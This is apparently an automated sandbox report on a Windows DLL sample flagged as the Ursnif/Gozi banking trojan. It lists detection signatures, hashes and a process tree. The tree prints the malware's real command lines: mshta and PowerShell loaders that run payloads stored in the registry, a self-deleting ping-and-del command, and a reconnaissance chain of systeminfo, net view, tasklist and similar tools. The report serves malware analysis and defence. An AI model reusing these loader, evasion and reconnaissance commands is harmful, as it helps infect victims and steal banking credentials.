Overview

overview

10

Static

static

Emmett.mpa.dll

windows7_x64

10

Emmett.mpa.dll

windows10_x64

10

Analysis

  • max time kernel
    130s
  • max time network
    136s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    06-07-2020 15:26

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    Emmett.mpa.dll

  • Size

    264KB

  • MD5

    f2468454850c605558c6e959e07483b8

  • SHA1

    78a426659ffff4152573b41a55270a868f8220f0

  • SHA256

    f3bd51c1bd71274daa1112b90a478ab08ee9644c117cc5405b53d37b839e8fdc

  • SHA512

    5628bd8f9dcea25426b6242296cb9c34f86cfa75a36b14829d001594f040a83043f538da796fcf14d9eedc8aaac24af8a53c780ac57d524d9b90f994ec4e1180

Score
10/10
bankertrojangozi_ifsbspywareursnifdiscovery

Malware Config

Signatures

  • Suspicious use of SetWindowsHookEx 16 IoCs
  • Suspicious use of AdjustPrivilegeToken 42 IoCs
  • Discovers systems in the same network 1 TTPs 1 IoCs
    discovery
  • Drops file in System32 directory 1 IoCs
  • Checks whether UAC is enabled 5 IoCs
  • Ursnif, Dreambot

    Ursnif is a variant of the Gozi IFSB with more capabilities.

    bankertrojanursnif
  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Suspicious use of FindShellTrayWindow 8 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Deletes itself 1 IoCs
  • Suspicious use of SendNotifyMessage 4 IoCs
  • Gozi, Gozi IFSB

    Gozi ISFB is a well-known and widely distributed banking trojan.

    bankertrojangozi_ifsb
  • Modifies Internet Explorer settings 1 TTPs 61 IoCs
    adwarespyware
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Checks for installed software on the system 1 TTPs 39 IoCs
    discovery
  • Suspicious use of WriteProcessMemory 127 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spyware
  • Runs ping.exe 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious use of SetThreadContext 3 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Suspicious use of FindShellTrayWindow
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of SetThreadContext
    PID:1208
    • C:\Windows\system32\rundll32.exe
      rundll32.exe C:\Users\Admin\AppData\Local\Temp\Emmett.mpa.dll,#1
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:608
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe C:\Users\Admin\AppData\Local\Temp\Emmett.mpa.dll,#1
        3⤵
          PID:1184
      • C:\Windows\System32\mshta.exe
        "C:\Windows\System32\mshta.exe" "about:<hta:application><script>resizeTo(1,1);eval(new ActiveXObject('WScript.Shell').regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\981CEC34-17F7-8AA9-614C-3B5E25409F72\\\Bdeudler'));if(!window.flag)close()</script>"
        2⤵
        • Modifies Internet Explorer settings
        • Suspicious use of WriteProcessMemory
        PID:1592
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex ([System.Text.Encoding]::ASCII.GetString(( gp "HKCU:Software\AppDataLow\Software\Microsoft\981CEC34-17F7-8AA9-614C-3B5E25409F72").CIRC2022))
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          • Drops file in System32 directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of SetThreadContext
          PID:2044
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\pryq4wo0\pryq4wo0.cmdline"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:108
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESAB5B.tmp" "c:\Users\Admin\AppData\Local\Temp\pryq4wo0\CSCD1A78453B19D4A4680715A89E17211E.TMP"
              5⤵
                PID:1700
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\u1jyjw5j\u1jyjw5j.cmdline"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:1520
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESABF7.tmp" "c:\Users\Admin\AppData\Local\Temp\u1jyjw5j\CSC7604553CC88444A5A9FE7F8530E043FC.TMP"
                5⤵
                  PID:1864
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\Emmett.mpa.dll"
            2⤵
            • Deletes itself
            • Suspicious use of WriteProcessMemory
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of SetThreadContext
            PID:1632
            • C:\Windows\system32\PING.EXE
              ping localhost -n 5
              3⤵
              • Runs ping.exe
              • Suspicious behavior: CmdExeWriteProcessMemorySpam
              PID:1776
          • C:\Windows\system32\cmd.exe
            cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\Admin\AppData\Local\Temp\B474.bi1"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:304
            • C:\Windows\system32\nslookup.exe
              nslookup myip.opendns.com resolver1.opendns.com
              3⤵
                PID:652
            • C:\Windows\system32\cmd.exe
              cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\B474.bi1"
              2⤵
                PID:1496
              • C:\Windows\system32\cmd.exe
                cmd /C "wmic computersystem get domain |more > C:\Users\Admin\AppData\Local\Temp\39F4.bin1"
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:1468
                • C:\Windows\System32\Wbem\WMIC.exe
                  wmic computersystem get domain
                  3⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1748
                • C:\Windows\system32\more.com
                  more
                  3⤵
                    PID:1620
                • C:\Windows\system32\cmd.exe
                  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\39F4.bin1"
                  2⤵
                    PID:1244
                  • C:\Windows\system32\cmd.exe
                    cmd /C "systeminfo.exe >> C:\Users\Admin\AppData\Local\Temp\39F4.bin1"
                    2⤵
                      PID:616
                      • C:\Windows\system32\systeminfo.exe
                        systeminfo.exe
                        3⤵
                        • Gathers system information
                        PID:1352
                    • C:\Windows\system32\cmd.exe
                      cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\39F4.bin1"
                      2⤵
                        PID:1784
                      • C:\Windows\system32\cmd.exe
                        cmd /C "net view >> C:\Users\Admin\AppData\Local\Temp\39F4.bin1"
                        2⤵
                          PID:1492
                          • C:\Windows\system32\net.exe
                            net view
                            3⤵
                            • Discovers systems in the same network
                            PID:1888
                        • C:\Windows\system32\cmd.exe
                          cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\39F4.bin1"
                          2⤵
                            PID:1184
                          • C:\Windows\system32\cmd.exe
                            cmd /C "nslookup 127.0.0.1 >> C:\Users\Admin\AppData\Local\Temp\39F4.bin1"
                            2⤵
                              PID:1772
                              • C:\Windows\system32\nslookup.exe
                                nslookup 127.0.0.1
                                3⤵
                                  PID:2008
                              • C:\Windows\system32\cmd.exe
                                cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\39F4.bin1"
                                2⤵
                                  PID:1632
                                • C:\Windows\system32\cmd.exe
                                  cmd /C "tasklist.exe /SVC >> C:\Users\Admin\AppData\Local\Temp\39F4.bin1"
                                  2⤵
                                    PID:2028
                                    • C:\Windows\system32\tasklist.exe
                                      tasklist.exe /SVC
                                      3⤵
                                      • Suspicious use of AdjustPrivilegeToken
                                      • Enumerates processes with tasklist
                                      PID:1472
                                  • C:\Windows\system32\cmd.exe
                                    cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\39F4.bin1"
                                    2⤵
                                      PID:1424
                                    • C:\Windows\system32\cmd.exe
                                      cmd /C "driverquery.exe >> C:\Users\Admin\AppData\Local\Temp\39F4.bin1"
                                      2⤵
                                        PID:1392
                                        • C:\Windows\system32\driverquery.exe
                                          driverquery.exe
                                          3⤵
                                            PID:1640
                                        • C:\Windows\system32\cmd.exe
                                          cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\39F4.bin1"
                                          2⤵
                                            PID:1468
                                          • C:\Windows\system32\cmd.exe
                                            cmd /C "reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s >> C:\Users\Admin\AppData\Local\Temp\39F4.bin1"
                                            2⤵
                                              PID:1696
                                              • C:\Windows\system32\reg.exe
                                                reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s
                                                3⤵
                                                • Checks for installed software on the system
                                                PID:976
                                            • C:\Windows\system32\cmd.exe
                                              cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\39F4.bin1"
                                              2⤵
                                                PID:1768
                                              • C:\Windows\system32\cmd.exe
                                                cmd /U /C "type C:\Users\Admin\AppData\Local\Temp\39F4.bin1 > C:\Users\Admin\AppData\Local\Temp\39F4.bin & del C:\Users\Admin\AppData\Local\Temp\39F4.bin1"
                                                2⤵
                                                  PID:616
                                              • C:\Program Files\Internet Explorer\iexplore.exe
                                                "C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
                                                1⤵
                                                • Suspicious use of SetWindowsHookEx
                                                • Checks whether UAC is enabled
                                                • Suspicious use of FindShellTrayWindow
                                                • Modifies Internet Explorer settings
                                                • Suspicious use of WriteProcessMemory
                                                PID:1160
                                                • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                                                  "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1160 CREDAT:275457 /prefetch:2
                                                  2⤵
                                                  • Suspicious use of SetWindowsHookEx
                                                  • Checks whether UAC is enabled
                                                  • Modifies Internet Explorer settings
                                                  PID:1816
                                              • C:\Program Files\Internet Explorer\iexplore.exe
                                                "C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
                                                1⤵
                                                • Suspicious use of SetWindowsHookEx
                                                • Checks whether UAC is enabled
                                                • Suspicious use of FindShellTrayWindow
                                                • Modifies Internet Explorer settings
                                                • Suspicious use of WriteProcessMemory
                                                PID:1060
                                                • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                                                  "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1060 CREDAT:275457 /prefetch:2
                                                  2⤵
                                                  • Suspicious use of SetWindowsHookEx
                                                  • Checks whether UAC is enabled
                                                  • Modifies Internet Explorer settings
                                                  PID:520
                                                • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                                                  "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1060 CREDAT:2896909 /prefetch:2
                                                  2⤵
                                                  • Suspicious use of SetWindowsHookEx
                                                  • Checks whether UAC is enabled
                                                  • Modifies Internet Explorer settings
                                                  PID:916

                                              Network

                                              MITRE ATT&CK Enterprise v6

                                              Replay Monitor

                                              Loading Replay Monitor...

                                              Downloads

                                              • memory/520-6-0x0000000006310000-0x0000000006333000-memory.dmp

                                                Filesize

                                                140KB

                                                Download

                                              • memory/1816-3-0x00000000041B0000-0x00000000041B3000-memory.dmp

                                                Filesize

                                                12KB

                                                Download

                                              • memory/1816-2-0x0000000005F80000-0x0000000005FA3000-memory.dmp

                                                Filesize

                                                140KB

                                                Download